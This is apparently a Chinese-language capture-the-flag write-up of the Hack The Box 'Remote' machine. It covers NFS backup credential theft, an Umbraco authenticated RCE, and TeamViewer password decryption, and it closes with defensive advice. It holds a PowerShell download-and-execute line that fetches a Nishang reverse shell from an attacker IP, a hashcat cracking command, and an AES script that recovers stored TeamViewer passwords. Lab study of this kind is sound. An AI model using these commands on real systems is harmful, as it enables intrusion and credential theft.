[Meachines] [Easy] Remote NFS备份文件泄露+Umbraco-RCE+TeamViewer权限提升
字数 1200 2025-08-19 12:41:28
Windows渗透测试实战:NFS备份文件泄露+Umbraco RCE+TeamViewer权限提升
1. 信息收集阶段
1.1 初始扫描
使用nmap进行全端口扫描:
nmap -p- 10.10.10.180 --min-rate 1000 -sC -sV
扫描结果摘要:
- 开放端口:21(FTP), 80(HTTP), 111(RPC), 135(MSRPC), 139(NetBIOS), 445(SMB), 2049(NFS), 5985(WinRM), 47001(HTTP), 49664-49680(MSRPC)
- 操作系统:Windows
- 关键服务:
- FTP允许匿名登录
- HTTP运行Microsoft HTTPAPI httpd 2.0
- NFS服务可用
1.2 服务探测
HTTP服务探测:
whatweb http://10.10.10.180/ -v
发现运行Umbraco CMS系统
NFS共享检查:
showmount -e 10.10.10.180
发现/site_backups共享
2. 利用NFS获取Umbraco凭据
2.1 挂载NFS共享
sudo mkdir -p /mnt/10.10.10.180
sudo mount -t nfs 10.10.10.180:/site_backups /mnt/10.10.10.180
2.2 提取Umbraco数据库
在挂载的目录中找到App_Data/Umbraco.sdf文件,使用strings提取管理员凭据:
strings App_Data/Umbraco.sdf | grep admin
输出:
username:admin
admin@htb.local
hash:b8be16afba8c314ad33d812f22a04991b90e2aaa
2.3 破解哈希
使用hashcat破解NTLM哈希:
hashcat -m 100 b8be16afba8c314ad33d812f22a04991b90e2aaa /usr/share/wordlists/rockyou.txt --force
破解结果:baconandcheese
3. Umbraco认证与RCE利用
3.1 登录Umbraco后台
访问后台地址:
http://10.10.10.180/Umbraco#/login/false?returnPath=%252FUmbraco
使用凭据:admin@htb.local / baconandcheese
3.2 准备反向Shell
使用Nishang的PowerShell反向Shell脚本:
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
echo "Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.24 -Port 10032" >> Invoke-PowerShellTcp.ps1
3.3 利用Umbraco RCE漏洞
参考Exploit-DB 46153,构造执行命令:
/c powershell -c iex(new-object net.webclient).downloadstring('http://10.10.16.24/Invoke-PowerShellTcp.ps1')
4. 权限提升:TeamViewer密码解密
4.1 发现TeamViewer安装
在系统中发现TeamViewer Version7安装
4.2 提取加密密码
检查注册表项:
Get-ItemProperty -Path HKLM:\software\wow6432node\teamviewer\version7
获取SecurityPasswordAES值
4.3 解密密码
使用Python脚本解密:
from Crypto.Cipher import AES
key = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
iv = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
ciphertext = bytes([255, 155, 28, 115, 214, 107, 206, 49, 172, 65, 62, 174, 19, 27, 70, 79, 88, 47, 108, 226, 209, 225, 243, 218, 126, 141, 55, 107, 38, 57, 78, 91])
aes = AES.new(key, AES.MODE_CBC, IV=iv)
password = aes.decrypt(ciphertext).decode("utf-16").rstrip("\x00")
print(f"[+] Found password: {password}")
解密结果:!R3m0te!
4.4 获取管理员权限
使用破解的密码通过WinRM登录:
crackmapexec smb 10.10.10.180 -u administrator -p '!R3m0te!'
evil-winrm -u administrator -p '!R3m0te!' -i 10.10.10.180
5. 获取Flag
- 用户Flag:
c9b78c488c6ae1828b13d050b156d542 - 系统Flag:
858343dff7922d618a28508565307822
关键点总结
- NFS共享暴露:Windows系统配置NFS共享可能导致敏感文件泄露
- Umbraco默认数据库位置:
App_Data/Umbraco.sdf存储用户凭据 - TeamViewer密码存储:Version7及以下版本在注册表中存储可解密的密码
- 权限提升路径:从Web应用RCE到系统管理员权限的完整路径
防御建议
- 限制NFS共享的访问权限
- 加强Umbraco管理员密码复杂度
- 及时更新TeamViewer到最新版本
- 禁用不必要的服务端口
- 实施最小权限原则